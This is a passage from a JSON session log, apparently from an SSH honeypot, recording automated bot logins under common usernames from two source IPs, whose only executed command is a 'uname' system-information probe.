  "started_at": "2026-08-27T02:17:30.643259+00:00",
  "ended_at": "2026-08-27T02:17:32.664629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6d9832c-c02e-4530-8693-c9e660e7a099",
  "name": "smooth-wistful-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47626,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 344,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:29.804703+00:00",
  "ended_at": "2026-08-27T02:17:33.012067+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4dd4f481-6b24-4113-b9f3-e7a78b7c16b8",
  "name": "cheerful-gilded-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60668,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:28.460363+00:00",
  "ended_at": "2026-08-27T02:17:30.959785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c59b0f0-7a91-4071-8116-99dded125797",
  "name": "windswept-supple-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:28.365174+00:00",
  "ended_at": "2026-08-27T02:17:30.208652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a40aab48-2e0d-4faf-b25f-9ab8234f2eab",
  "name": "barren-glassy-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54840,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:25.957884+00:00",
  "ended_at": "2026-08-27T02:17:32.667242+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "b80b7bcb-4f82-4816-8f3f-2dd418c0be3b",
  "name": "windswept-jagged-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35090,
  "username": "sol",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:24.636582+00:00",
  "ended_at": "2026-08-27T02:17:30.961055+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "3bef46de-557a-40db-a1d6-feefe7443485",
  "name": "fabled-breezy-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:24.284555+00:00",
  "ended_at": "2026-08-27T02:17:25.501039+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0038f503-0cbf-4243-a7f9-913a59700a81",
  "name": "blithe-vivid-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:23.817267+00:00",
  "ended_at": "2026-08-27T02:17:29.552928+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11439730-238d-49f1-86c7-18f3b51de798",
  "name": "kindly-faded-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57004,
  "username": "oscar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:17.820863+00:00",
  "ended_at": "2026-08-27T02:17:21.023839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b124ded0-279e-40e6-9dda-c73a03d5aec4",
  "name": "downy-jagged-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56770,
  "username": "oscar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:11.475810+00:00",
  "ended_at": "2026-08-27T02:17:21.022246+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "af37deb0-9562-4876-b62d-36b08a92fbb0",
  "name": "sunlit-idle-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56722,
  "username": "aaa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:08.840421+00:00",
  "ended_at": "2026-08-27T02:17:11.917839+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "3b9efcfc-c6e2-402c-bfa2-3d7341e4359f",
  "name": "somber-emerald-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54740,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:08.617301+00:00",
  "ended_at": "2026-08-27T02:17:12.916658+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06addb8d-2f0a-44bc-b4ce-c295bfa20e3e",
  "name": "emerald-cobalt-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56538,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:03.887568+00:00",
  "ended_at": "2026-08-27T02:17:08.574106+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8dc7f2e6-0b42-4d02-ad87-c2652d9e8e8b",
  "name": "calm-glassy-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56436,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:00.642311+00:00",
  "ended_at": "2026-08-27T02:17:04.378564+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "182e089a-ec32-4184-b220-b41905e53a4f",
  "name": "keen-austere-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:40.705451+00:00",
  "ended_at": "2026-08-27T02:16:44.989955+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9ff55cb1-ba19-447f-b3e3-135eee56f033",
  "name": "frank-solar-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47658,
  "username": "arthur",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:16:40.582500+00:00",
  "ended_at": "2026-08-27T02:16:42.631502+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52cddb9e-ae58-4b1e-b082-988095105787",
  "name": "oaken-quartz-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47258,
  "username": "arthur",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:35.157479+00:00",
  "ended_at": "2026-08-27T02:16:42.629662+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "20cb2231-33b9-423b-99c1-6a45deb25ddf",
  "name": "dewy-painted-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40886,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:33.459490+00:00",
  "ended_at": "2026-08-27T02:16:37.548689+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06e72038-8583-4165-bf84-1f276d10651c",
  "name": "prairie-sincere-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40808,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:31.656799+00:00",
  "ended_at": "2026-08-27T02:16:35.050478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5d787e5-3754-42b2-bdf0-a0680377f934",
  "name": "marbled-whispering-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35056,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:16:26.742778+00:00",
  "ended_at": "2026-08-27T02:16:29.673999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0dfeb368-bfc5-445b-b4d5-285339f71f21",
  "name": "bronzed-thorny-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47176,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 390,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:23.098411+00:00",
  "ended_at": "2026-08-27T02:16:29.675672+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "1b9da9e0-de11-4f98-ba90-00cca1e7de2b",
  "name": "muted-electric-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59536,
  "username": "edge",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:18.860492+00:00",
  "ended_at": "2026-08-27T02:16:24.319152+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "6f5c93ee-837f-4a8d-9c3f-abbd452fa902",
  "name": "bold-western-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35514,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:12.314492+00:00",
  "ended_at": "2026-08-27T02:16:18.175365+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "ab9496c9-7364-486d-a611-4cf8558111be",
  "name": "crisp-loyal-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59472,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:03.286168+00:00",
  "ended_at": "2026-08-27T02:16:08.606257+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d260349-1ce7-46a4-9c32-24d6d6214952",
  "name": "gritty-supple-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:54.655136+00:00",
  "ended_at": "2026-08-27T02:15:58.876299+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03785cee-7e39-43a5-8978-bd2ed82cef5a",
  "name": "wistful-glacial-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:49.724038+00:00",
  "ended_at": "2026-08-27T02:15:55.612022+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5be843ef-de86-46bb-ba42-3ef64a745acc",
  "name": "cheerful-tender-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47274,
  "username": "fred",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:15:33.680567+00:00",
  "ended_at": "2026-08-27T02:15:36.345748+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72145c52-4ca3-4d72-8f9a-0e94e2543463",
  "name": "glassy-arctic-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:27.913516+00:00",
  "ended_at": "2026-08-27T02:15:32.887819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d281b35a-8f16-44c1-a84c-5f85206608ef",
  "name": "fabled-blithe-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54586,
  "username": "fred",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:27.708074+00:00",
  "ended_at": "2026-08-27T02:15:36.347885+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "bd58bd88-212d-4729-a7ef-2faacb26a5a7",
  "name": "zealous-reedy-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:15:03.282114+00:00",
  "ended_at": "2026-08-27T02:15:08.008831+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ca9799e-c95b-4be1-b47d-aeca4220bad8",
  "name": "gloomy-sincere-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 49352,
  "username": "lin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:56.937369+00:00",
  "ended_at": "2026-08-27T02:14:58.902440+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09975e09-f1b2-409f-9fe3-ef5b6349349e",
  "name": "windswept-whispering-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41478,
  "username": "lin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:54.285632+00:00",
  "ended_at": "2026-08-27T02:14:58.904544+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "10e88262-f678-475d-b191-e401bd6e4a6b",
  "name": "pristine-forlorn-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41410,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:46.701828+00:00",
  "ended_at": "2026-08-27T02:14:49.176428+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "604e2a84-c15a-4c14-bab3-569ddfea93e9",
  "name": "cobalt-clever-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47616,
  "username": "ftp",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:41.486487+00:00",
  "ended_at": "2026-08-27T02:14:43.561062+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e56f4d37-69af-4be5-b583-9e7cd9794e8e",
  "name": "jaunty-subtle-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:35.734194+00:00",
  "ended_at": "2026-08-27T02:14:37.494226+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce1eac13-44cb-4b8e-b1f3-25cf749e6637",
  "name": "dapper-fierce-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46474,
  "username": "mp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:33.696756+00:00",
  "ended_at": "2026-08-27T02:14:35.720918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b64555bb-2a5e-4fbb-ba09-d6148815f44d",
  "name": "bronzed-downy-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41520,
  "username": "work",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:33.439864+00:00",
  "ended_at": "2026-08-27T02:14:35.846273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "249cc5dd-79a9-49a4-af6d-9d0100eb9651",
  "name": "plush-knotted-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41508,
  "username": "bitrix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:33.231795+00:00",
  "ended_at": "2026-08-27T02:14:35.881534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d3ad58c0-2fe7-4f8b-b064-b25311eacf0b",
  "name": "rambling-vigilant-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36454,
  "username": "work",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:31.800527+00:00",
  "ended_at": "2026-08-27T02:14:35.854201+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "4f4ddfec-ee7f-4d0f-b5ad-1fb11b0d0c19",
  "name": "lofty-golden-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44610,
  "username": "bitrix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:29.855467+00:00",
  "ended_at": "2026-08-27T02:14:35.883409+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "67a877f0-a1d7-48f4-bf3e-e1bc74d4ab98",
  "name": "ashen-ivory-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41374,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:24.619932+00:00",
  "ended_at": "2026-08-27T02:14:27.246416+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7ddeb3d-4381-4567-8c73-475e615993d2",
  "name": "thorny-tidal-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44532,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:22.473637+00:00",
  "ended_at": "2026-08-27T02:14:27.244747+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "d1da1b95-ce2e-4428-83dd-f05cd49f124e",
  "name": "shaded-subtle-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59980,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:13.357448+00:00",
  "ended_at": "2026-08-27T02:14:14.626146+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86c023bd-0f08-4440-9bb3-c09cf12ebe28",
  "name": "idle-plush-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:14:03.206564+00:00",
  "ended_at": "2026-08-27T02:14:04.332946+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1d6a25a-26dc-4f6f-bd36-67fe62a74d26",
  "name": "mottled-umber-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 44594,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:01.354817+00:00",
  "ended_at": "2026-08-27T02:14:03.888893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4febe64b-4ca1-400d-914c-33515125d438",
  "name": "pewter-pristine-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38834,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:59.371301+00:00",
  "ended_at": "2026-08-27T02:14:03.887498+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "03a2ebd4-9706-49d8-a13e-8069ad4b98d4",
  "name": "quartz-marbled-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60626,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:51.099418+00:00",
  "ended_at": "2026-08-27T02:13:52.600056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7fc9d9f7-a9a6-4384-b809-58495a82ef94",
  "name": "lucid-grumpy-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60588,
  "username": "odoo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:38.943366+00:00",
  "ended_at": "2026-08-27T02:13:40.505221+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e88b164d-eab6-402c-acb4-0608ad11bc3c",
  "name": "dapper-frank-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 262,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:31.937401+00:00",
  "ended_at": "2026-08-27T02:13:32.689847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b1044d62-17b5-4676-9044-ca2b54ebc403",
  "name": "sunlit-sterling-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60608,
  "username": "odoo14",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:13:30.751797+00:00",
  "ended_at": "2026-08-27T02:13:33.668291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f356218c-1dd9-44f4-981d-80ee376d3ee0",
  "name": "orderly-sunlit-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56642,
  "username": "odoo14",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:29.539341+00:00",
  "ended_at": "2026-08-27T02:13:33.671271+00:00",
  "ended_reason": "exec complete",
